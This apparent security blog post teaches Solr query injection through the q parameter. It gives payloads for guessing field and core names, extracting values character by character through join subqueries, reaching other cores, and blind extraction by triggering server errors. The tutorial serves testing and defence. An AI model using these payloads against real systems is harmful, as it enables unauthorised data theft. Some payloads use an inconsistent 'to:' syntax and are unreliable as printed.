Skip to the content.

Solr Query Injection

Apache Solr is a NoSQL datastore that is typically used as an enterprise search platform.

Most resources on Solr injection seem to be about CVEs or injecting additional parameters into calls to the Solr REST API. This post covers some techniques you can use when you only have control over the q parameter and are interested in extracting data from the index itself.

The techniques may not be applicable in newer versions of Solr as the default settings were changed in Solr 7.2 to limit when switching query parsers is allowed. These techniques may still work if the target has luceneMatchVersion set to 7.1.0 or lower in their solrconfig.xml file.

For the purposes of this post we’ll assume the query you’re injecting into looks like this:

somefield:INJECTIONPOINT

Basics

Solr supports running multiple indexes, called cores, with separate configurations on the same server. This section covers techniques where the information you want is in the same core as the query injection location.

Enumerate available fields in the current core

This is a brute force guessing game.

* AND FIELDNAMEGUESS:*

If you still get results, the field exists. If you get an error or no results, the field doesn’t exist.

Extract query parameters

Determining the value of the common query parameters will help you understand the context your query is in.

* AND {!switch case='notarealfieldthiswillerrorout:5' case.1='*:*' v=$rows}

if $rows exists and equals 1, this will work, otherwise you will get an error.

Field values extraction

The following query

* AND {!join from=knownfield to:knownfield v='other_condition'}

is roughly equivalent to this SQL

SELECT *
FROM current_core
WHERE knownfield IN (SELECT knownfield
                     FROM current_core
                     WHERE other_condition)

If your query returns any results you know that there was a row in the table where other_condition was true.

Similar to blind SQL injection, you can use this by making other_condition increasily specific until it matches only one record and then brute force values of additional fields on the record using wildcards.

* AND {!join from=knownfield to:knownfield v='id:1234 AND field_of_interest:*'}
* AND {!join from=knownfield to:knownfield v='id:1234 AND field_of_interest:m*'}
* AND {!join from=knownfield to:knownfield v='id:1234 AND field_of_interest:ma*'}
* AND {!join from=knownfield to:knownfield v='id:1234 AND field_of_interest:mag*'}
* AND {!join from=knownfield to:knownfield v='id:1234 AND field_of_interest:magi*'}
* AND {!join from=knownfield to:knownfield v='id:1234 AND field_of_interest:magic'}

Unencumbered subquery

The following query

condition AND {!join from=field_on_current_core to=field v="{!join from=any_field_on_current_core to=any_field_on_current_core v='other_condition'}"}

is roughly equivalent to

SELECT *
FROM current_core
WHERE condition AND
      field IN (SELECT field_on_current_core
                FROM current_core
                WHERE any_field_on_current_core IN (SELECT any_field_on_current_core
                                                  FROM current_core
                                                  WHERE other_condition))

With appropriate choice of fields, the query comes down to whether there is any row in current_core where other_condition is true.

Working across cores

Solr supports limited join functionality that is similar to an SQL inner-query. This can be used to extract data from cores other than one currently being queried.

Enumerate other cores in the index

This is a brute force guessing game. You have to guess both the name of the other core and the name of a field in it in one go.

If you found any generic-sounding field names in the previous section like id, I recommend you assume other cores have that field and just guess core names.

* AND {!join from=KNOWNFIELD fromIndex=CORENAMEGUESS to:KNOWNFIELD v='*:*'}

Cross-core field value extraction

You can use the same technique to extract values from joined documents.

The following query:

* AND {!join from=field_on_other_core fromIndex=other_core to:KNOWNFIELD v='other_condition'}

is roughly equivalent to

SELECT * FROM current_core
WHERE KNOWNFIELD IN (SELECT field_on_other_core
                     FROM other_core
                     WHERE other_condition)

Unencumbered subquery

The following query

condition AND {!join from=field_on_other_core fromIndex=other_core to=field v="{!join from=any_field_on_other_core fromIndex=other_core to=any_field_on_other_core v='other_condition'}"}

is roughly equivalent to

SELECT *
FROM current_core
WHERE condition AND
      field IN (SELECT field_on_other_core
                FROM other_core
                WHERE any_field_on_other_core IN (SELECT any_field_on_other_core
                                                  FROM other_core
                                                  WHERE other_condition))

With appropriate choice of fields, the query comes down to whether there is a row in other_core where other_condition is true.

Fully blind injection

Sometimes a site is querying Solr behind the scenes with user input but the results are never shown to the user. If you find an injection point in such a query, it may still be possible to extract information by triggering an Internal Sever Error if the query result set is empty.

* AND {!frange l=1 v='def(query({!edismax v="SOMECONDITION*"}),"a")'}

The frange query parser expects a number as input. With this query, if SOMECONDITION matches something, def passes the document score to frange, otherwise it passes the string “a” which causes an error.